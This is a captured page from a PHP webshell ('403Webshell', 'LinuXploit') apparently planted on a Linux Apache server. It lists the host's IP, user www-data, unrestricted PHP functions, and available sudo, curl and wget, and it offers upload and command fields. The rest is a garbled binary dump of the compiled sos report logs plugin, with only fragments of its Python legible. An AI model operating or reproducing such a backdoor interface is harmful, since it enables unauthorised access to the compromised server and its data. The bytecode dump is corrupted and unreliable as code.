403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/logs.cpython-312.pyc
�

i��d���j�ddlZddlmZmZmZmZGd�de�ZGd�dee�ZGd�dee�Zy)	�N)�Plugin�	PluginOpt�IndependentPlugin�	CosPluginc�$�eZdZdZdZdZd�Zd�Zy)�LogsBasezSystem logs�logs��system�hardware�storagec��ddg}g}|jd�}|jd�rut|jd�d�5}|j	�D]=}|jd�s�|t
j|j�d�z
}�?	ddd�|D]I}|j|j|��s�$|j|�}||jd|�z
}�K|D];}|jd�r|dd}|j|�s�+|j|��=|jgd	��|jd
�|jd�tdD�cgc]#}|j|j|d
����%c}�}	|	ru|jd�rd|j|ddgd��|jd|d��|jd|d��|jd�r|jddg�yy|jd�s|jgd��y|jgd��y#1swY���xYwcc}w)N�/etc/syslog.conf�/etc/rsyslog.conf�since�rz$IncludeConfig�z^\S+\s+(-?\/.*$)\s+�-)	rrz/etc/rsyslog.dz/var/log/boot.logz/var/log/installerz/var/log/messages*z/var/log/secure*z
/var/log/udevz/var/log/dist-upgradezjournalctl --disk-usagezls -alRh /var/log/)z/varz/runzlog/journal/zsystemd-journald�journal_full�journal_all�d)r�tags�priority�this�journal_since_boot)�bootrr�last�journal_last_boot�all_logsz/var/log/journal/*z/run/log/journal/*)	z/var/log/syslogz/var/log/syslog.1z/var/log/syslog.2*z/var/log/kern.logz/var/log/kern.log.1z/var/log/kern.log.2*z/var/log/auth.logz/var/log/auth.log.1z/var/log/auth.log.2*)z/var/log/syslog*z/var/log/kern.log*z/var/log/auth.log*)�
get_option�path_exists�open�	path_join�	readlines�
startswith�glob�split�do_regex_find_all�path_isfile�
add_copy_spec�add_cmd_output�any�
is_service�add_journal)
�self�confsr	r�conf�line�config�i�p�journals
          �9/usr/lib/python3/dist-packages/sos/report/plugins/logs.py�setupzLogsBase.setupsf��#�%8�9��������(�����/�0��d�n�n�%8�9�3�?�
<�4� �N�N�,�<�D����'7�8�����4�:�:�<��?�!;�;��<�
<�
�	K�D��#�#�D�N�N�4�$8�9���^�^�D�)�F��D�*�*�+A�6�J�J�D�		K��	&�A��|�|�C� ��a�b�E������"��"�"�1�%�		&�	
���

�
	�	
���5�6����0�1�� 0�2���'�'����q�.�(I�J�2�3���t���'9�:����5��
�/N�&)�
�
+����&��"6�
�
8����&��"5�
�
7����z�*��"�"�(�(�$��+��?�?�:�.��"�"�
$�
��"�"�$��A
<�
<��H2s�%I	�*+I	�*(I�	Ic�*�|jddd�y)Nz
/etc/rsyslog*z (ActionLibdbiPassword |pwd=)(.*)z\1[********])�do_path_regex_sub)r/s r7�postproczLogsBase.postprocas������/��	
�N)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesr8r;�r<r7rr
s���J��K�0�H�K�Z
r<rc��eZdZdZdZdZy)�IndependentLogsa�
    This plugin will collect logs traditionally considered to be "system" logs,
    meaning those such as /var/log/messages, rsyslog, and journals that are
    not limited to unit-specific entries.

    Note that the --since option will apply to journal collections by this
    plugin as well as the typical application to log files. Most users can
    expect typical journal collections to include the "full" journal, as well
    as journals limited to this boot and the previous boot.
    r	r
N)r=r>r?�__doc__rArBrCr<r7rErEis��	��K�0�Hr<rEc�6��eZdZeddd��gZ�fd�Z�xZS)�CosLogs�log_days�z"the number of days logs to collect)�name�default�descc���tt|��|jd�r|j	d�y|jdd�}|jd|z��y)Nrzjournalctl -o exportrIrJz-%ddays)r)�superrHr8r r+r.)r/�days�	__class__s  �r7r8z
CosLogs.setupsQ���
�g�t�"�$��?�?�:�&���� 6�7��?�?�:�q�1�D����9�t�#3��4r<)r=r>r?r�option_listr8�
__classcell__)rQs@r7rHrHys#����z�1�;�	=��K�
5�5r<rH)	r&�sos.report.pluginsrrrrrrErHrCr<r7�<module>rUs<���N�N�Y
�v�Y
�x
1�h� 1�
1� 5�h�	�5r<

Youez - 2016 - github.com/yon3zu
LinuXploit